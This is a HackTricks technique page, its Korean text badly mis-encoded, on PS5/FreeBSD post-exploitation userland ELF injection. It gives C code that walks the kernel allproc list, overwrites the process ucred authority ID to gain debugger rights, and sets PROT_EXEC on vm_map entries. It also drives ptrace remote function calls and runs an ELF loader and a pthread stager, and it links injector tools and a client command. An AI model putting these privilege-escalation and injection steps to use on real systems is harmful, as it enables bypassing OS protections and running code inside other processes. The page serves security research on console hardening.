FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 ์ฌ๋ก ์ฐ๊ตฌ)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ฐ์
์ด ํ์ด์ง๋ FreeBSD ๊ธฐ๋ฐ์ธ PlayStation 5 (PS5)์์์ ์ค์ฉ์ ์ธ Unix/BSD ์ ์ ๋ชจ๋ ํ๋ก์ธ์ค/ELF ์ธ์ ์ ๊ธฐ๋ฒ์ ๋ฌธ์ํํ๋ค. ์ด ๋ฐฉ๋ฒ์ ์ด๋ฏธ kernel read/write (R/W) primitives๋ฅผ ๋ณด์ ํ ๊ฒฝ์ฐ FreeBSD ํ์ํ์ผ๋ก ์ผ๋ฐํ๋๋ค. ์ฃผ์ ๋ด์ฉ:
- ํ์ฌ ํ๋ก์ธ์ค์ credentials (ucred)์ ํจ์นํ์ฌ ๋๋ฒ๊ฑฐ ๊ถํ์ ๋ถ์ฌํ๊ณ , ์์ ์ฌ์ฉ์ ํ๋ก์ธ์ค์ ๋ํด ptrace/mdbg๋ฅผ ๊ฐ๋ฅํ๊ฒ ํ๋ค.
- kernel allproc ๋ฆฌ์คํธ๋ฅผ ์ํํ์ฌ ๋์ ํ๋ก์ธ์ค๋ฅผ ์ฐพ๋๋ค.
- ์ปค๋ ๋ฐ์ดํฐ ์ฐ๊ธฐ๋ฅผ ํตํด ๋์์ vm_map์์ vm_map_entry.protection |= PROT_EXEC๋ฅผ ์ค์ ํ์ฌ PROT_EXEC ์ ํ์ ์ฐํํ๋ค.
- ptrace๋ฅผ ์ฌ์ฉํด Remote Function Invocation (RFI)์ ์ํ: ์ค๋ ๋๋ฅผ ์ผ์์ค๋จํ๊ณ , ๋ ์ง์คํฐ๋ฅผ ์ค์ ํ์ฌ ๋์ ๋ด๋ถ์ ์์ ํจ์๋ฅผ ํธ์ถํ ๋ค ์ฌ๊ฐํ๊ณ , ๋ฐํ๊ฐ์ ์์งํ๊ณ ์ํ๋ฅผ ๋ณต์ํ๋ค.
- ํ๋ก์ธ์ค ๋ด ELF ๋ก๋๋ฅผ ์ฌ์ฉํด ๋์ ๋ด๋ถ์ ์์์ ELF ํ์ด๋ก๋๋ฅผ ๋งคํํ๊ณ ์คํํ ๋ค์, ํ์ด๋ก๋๋ฅผ ์คํํ๊ณ breakpoint๋ฅผ ํธ๋ฆฌ๊ฑฐํ์ฌ ๊น๋ํ๊ฒ detachํ๋ ์ ์ฉ ์ค๋ ๋๋ฅผ ์์ฑํ๋ค.
์ด ๊ธฐ๋ฒ๊ณผ ๊ด๋ จํด ์ฃผ๋ชฉํ PS5 ํ์ดํผ๋ฐ์ด์ ์ํ์ฑ :
- XOM (execute-only .text)๋ ์ปค๋ .text์ ์ฝ๊ธฐ/์ฐ๊ธฐ๋ฅผ ์ฐจ๋จํ๋ค.
- CR0.WP๋ฅผ ํด๋ฆฌ์ดํ๊ฑฐ๋ CR4.SMEP๋ฅผ ๋นํ์ฑํํ๋ฉด ํ์ดํผ๋ฐ์ด์ vmexit(ํฌ๋์)๋ฅผ ์ด๋ํ๋ค. ๋ฐ์ดํฐ ์ ์ฉ ์ปค๋ ์ฐ๊ธฐ๋ง ๊ฐ๋ฅํ๋ค.
- ์ ์ ๋๋ mmap์ ๊ธฐ๋ณธ์ ์ผ๋ก PROT_READ|PROT_WRITE๋ก ์ ํ๋๋ค. PROT_EXEC ๋ถ์ฌ๋ ์ปค๋ ๋ฉ๋ชจ๋ฆฌ์ vm_map ์ํธ๋ฆฌ๋ฅผ ํธ์งํ์ฌ ์ํํด์ผ ํ๋ค.
์ด ๊ธฐ๋ฒ์ ํฌ์คํธ-์ต์คํ๋ก์ดํ ์ด์ ์ด๋ค: ์ต์คํ๋ก์ ์ฒด์ธ์ผ๋ก ์ป์ kernel R/W primitives๋ฅผ ๊ฐ์ ํ๋ค. ๊ณต๊ฐ ํ์ด๋ก๋๋ค์ ์์ฑ ์์ ์ ํ์จ์ด 10.01๊น์ง ์ด๋ฅผ ์์ฐํ๋ค.
Kernel data-only primitives
allproc๋ฅผ ํตํ ํ๋ก์ธ์ค ํ์
FreeBSD๋ kernel .data์ allproc์ ํ๋ก์ธ์ค์ ์ด์ค ์ฐ๊ฒฐ ๋ฆฌ์คํธ๋ฅผ ์ ์งํ๋ค. kernel read primitive๋ก ์ด๋ฅผ ์ํํ์ฌ ํ๋ก์ธ์ค ์ด๋ฆ๊ณผ PID๋ฅผ ์ฐพ๋๋ค:
struct proc* find_proc_by_name(const char* proc_name){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry
if (!strcmp(proc->p_comm, proc_name)) return proc;
kernel_copyout(next, &next, sizeof(uint64_t)); // advance next
} while (next);
free(proc);
return NULL;
}
void list_all_proc_and_pid(){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc));
printf("%s - %d\n", proc->p_comm, proc->pid);
kernel_copyout(next, &next, sizeof(uint64_t));
} while (next);
free(proc);
}
Notes:
- KERNEL_ADDRESS_ALLPROC๋ ํ์จ์ด์ ๋ฐ๋ผ ๋ค๋ฆ ๋๋ค.
- p_comm์ ๊ณ ์ ํฌ๊ธฐ ์ด๋ฆ์ ๋๋ค; ํ์ํ๋ฉด pid->proc ์กฐํ๋ฅผ ๊ณ ๋ คํ์ธ์.
๋๋ฒ๊น ์ ์ํ ๊ถํ ์์น (ucred)
PS5์์๋ struct ucred๊ฐ proc->p_ucred๋ฅผ ํตํด ์ ๊ทผ ๊ฐ๋ฅํ Authority ID ํ๋๋ฅผ ํฌํจํฉ๋๋ค. ๋๋ฒ๊ฑฐ Authority ID๋ฅผ ์จ ๋ฃ์ผ๋ฉด ๋ค๋ฅธ ํ๋ก์ธ์ค์ ๋ํ ptrace/mdbg ๊ถํ์ด ๋ถ์ฌ๋ฉ๋๋ค:
void set_ucred_to_debugger(){
struct proc* proc = get_proc_by_pid(getpid());
if (proc){
uintptr_t authid = 0; // read current (optional)
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
free(proc);
}
}
- Offset 0x58๋ PS5 ํ์จ์ด ๊ณ์ด์ ํน์ ํ๋ฉฐ ๋ฒ์ ๋ณ๋ก ํ์ธํด์ผ ํฉ๋๋ค.
- ์ด ์ฐ๊ธฐ ํ, injector๋ ptrace/mdbg๋ฅผ ํตํด ์ฌ์ฉ์ ํ๋ก์ธ์ค์ attachํ๊ณ instrumentํ ์ ์์ต๋๋ค.
RW-only ์ฌ์ฉ์ ๋งคํ ์ฐํ: vm_map PROT_EXEC flip
Userland์ mmap์ PROT_READ|PROT_WRITE๋ก ์ ํ๋ ์ ์์ต๋๋ค. FreeBSD๋ ํ๋ก์ธ์ค์ ์ฃผ์ ๊ณต๊ฐ์ vm_map_entry ๋ ธ๋๋ค(BST plus list)๋ก ๊ตฌ์ฑ๋ vm_map์์ ๊ด๋ฆฌํฉ๋๋ค. ๊ฐ ์ํธ๋ฆฌ๋ protection ๋ฐ max_protection ํ๋๋ฅผ ๊ฐ์ง๋๋ค:
struct vm_map_entry {
struct vm_map_entry *prev,*next,*left,*right;
vm_offset_t start, end, avail_ssize;
vm_size_t adj_free, max_free;
union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
int wired_count; vm_pindex_t lastr;
};
With kernel R/W you can locate the targetโs vm_map and set entry->protection |= PROT_EXEC (and, if needed, entry->max_protection). Practical implementation notes:
- Walk entries either linearly via next or using the balanced-tree (left/right) for O(log n) search by address range.
- Pick a known RW region you control (scratch buffer or mapped file) and add PROT_EXEC so you can stage code or loader thunks.
- PS5 SDK code provides helpers for fast map-entry lookup and toggling protections.
This bypasses userlandโs mmap policy by editing kernel-owned metadata directly.
์๊ฒฉ ํจ์ ํธ์ถ (RFI) ๋ฐ ptrace
FreeBSD lacks Windows-style VirtualAllocEx/CreateRemoteThread. Instead, drive the target to call functions on itself under ptrace control:
- Attach to the target and select a thread; PTRACE_ATTACH or PS5-specific mdbg flows may apply.
- Save thread context: registers, PC, SP, flags.
- Write argument registers per the ABI (x86_64 SysV or arm64 AAPCS64), set PC to the target function, and optionally place additional args/stack as needed.
- Single-step or continue until a controlled stop (e.g., software breakpoint or signal), then read back return values from regs.
- Restore original context and continue.
Use cases:
- Call into an in-process ELF loader (e.g., elfldr_load) with a pointer to your ELF image in target memory.
- Invoke helper routines to fetch returned entrypoints and payload-args pointers.
Example of driving the ELF loader:
intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
intptr_t args = elfldr_payload_args(target_pid);
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
๋ก๋๋ segments๋ฅผ ๋งคํํ๊ณ , imports๋ฅผ ํด๊ฒฐํ๋ฉฐ, relocations์ ์ ์ฉํ ํ entry(์ข ์ข CRT bootstrap)์ ๋น์ ์ stager๊ฐ payload์ main()์ ์ ๋ฌํ๋ ๋ถํฌ๋ช ํ payload_args ํฌ์ธํฐ๋ฅผ ๋ฐํํฉ๋๋ค.
์ค๋ ๋ํ๋ stager์ ๊น๋ํ detach
ํ๊น ๋ด๋ถ์ ์ต์ํ์ stager๋ ELF์ main์ ์คํํ๋ ์ pthread๋ฅผ ์์ฑํ ๋ค์ int3๋ฅผ ํธ๋ฆฌ๊ฑฐํ์ฌ injector์๊ฒ detachํ๋ผ๊ณ ์ ํธ๋ฅผ ๋ณด๋ ๋๋ค:
int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
pthread_t thread;
functions->pthread_create_ptr(&thread, 0,
(void*(*)(void*))functions->elf_main, functions->payload_args);
asm("int3");
return 0;
}
- SCEFunctions/payload_args ํฌ์ธํฐ๋ loader/SDK glue์์ ์ ๊ณต๋ฉ๋๋ค.
- breakpoint์ detach ํ, payload๋ ์์ฒด thread์์ ๊ณ์ ์คํ๋ฉ๋๋ค.
์ข ๋จ ๊ฐ ํ์ดํ๋ผ์ธ (PS5 ์ฐธ์กฐ ๊ตฌํ)
์๋ํ๋ ๊ตฌํ์ฒด๋ ์์ TCP injector server์ ํด๋ผ์ด์ธํธ ์คํฌ๋ฆฝํธ๋ก ๊ตฌ์ฑ๋ฉ๋๋ค:
- NineS server๋ TCP 9033์์ ์์ ๋๊ธฐํ๋ฉฐ, ๋์ ํ๋ก์ธ์ค ์ด๋ฆ์ ํฌํจํ ํค๋์ ๊ทธ ๋ค์์ ์ด์ด์ง๋ ELF ์ด๋ฏธ์ง๋ฅผ ๋ฐ์ต๋๋ค:
typedef struct __injector_data_t{
char proc_name[MAX_PROC_NAME];
Elf64_Ehdr elf_header;
} injector_data_t;
- Python ํด๋ผ์ด์ธํธ ์ฌ์ฉ๋ฒ:
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>
Hello-world payload ์์ (klog์ ๊ธฐ๋ก):
#include <stdio.h>
#include <unistd.h>
#include <ps5/klog.h>
int main(){
klog_printf("Hello from PID %d\n", getpid());
return 0;
}
์ค๋ฌด์ ๊ณ ๋ ค์ฌํญ
- Offsets and constants (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) ๋ ํ์จ์ด๋ณ๋ก ๋ค๋ฅด๋ฏ๋ก ๋ฆด๋ฆฌ์ค๋ง๋ค ์ ๋ฐ์ดํธํด์ผ ํฉ๋๋ค.
- Hypervisor ๋ณดํธ๋ ๋ฐ์ดํฐ ์ ์ฉ ์ปค๋ ์ฐ๊ธฐ๋ง ํ์ฉํฉ๋๋ค; CR0.WP ๋๋ CR4.SMEP๋ฅผ ํจ์นํ๋ ค ์๋ํ์ง ๋ง์ญ์์ค.
- JIT ๋ฉ๋ชจ๋ฆฌ๋ ๋์์ ๋๋ค: ์ผ๋ถ ํ๋ก์ธ์ค๋ ์คํ ๊ฐ๋ฅํ ํ์ด์ง๋ฅผ ํ ๋นํ๊ธฐ ์ํด PS5 JIT APIs๋ฅผ ๋ ธ์ถํฉ๋๋ค. vm_map protection flip์ JIT/mirroring ํธ๋ฆญ์ ์์กดํ ํ์๋ฅผ ์ ๊ฑฐํฉ๋๋ค.
- ๋ ์ง์คํฐ ์ ์ฅ/๋ณต์์ ๊ฒฌ๊ณ ํ๊ฒ ์ ์งํ์ธ์; ์คํจํ๋ฉด ๋์์ด ๋ฐ๋๋ฝ๋๊ฑฐ๋ ํฌ๋์ํ ์ ์์ต๋๋ค.
๊ณต๊ฐ ๋๊ตฌ
- PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk
- ELF loader: https://github.com/ps5-payload-dev/elfldr
- Injector server: https://github.com/buzzer-re/NineS/
- Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils
- Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv
์ฐธ๊ณ ์๋ฃ
- Usermode ELF injection on the PlayStation 5
- ps5-payload-dev/sdk
- ps5-payload-dev/elfldr
- buzzer-re/NineS
- playstation_research_utils
- Mira
- gdbsrv
- FreeBSD klog reference
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


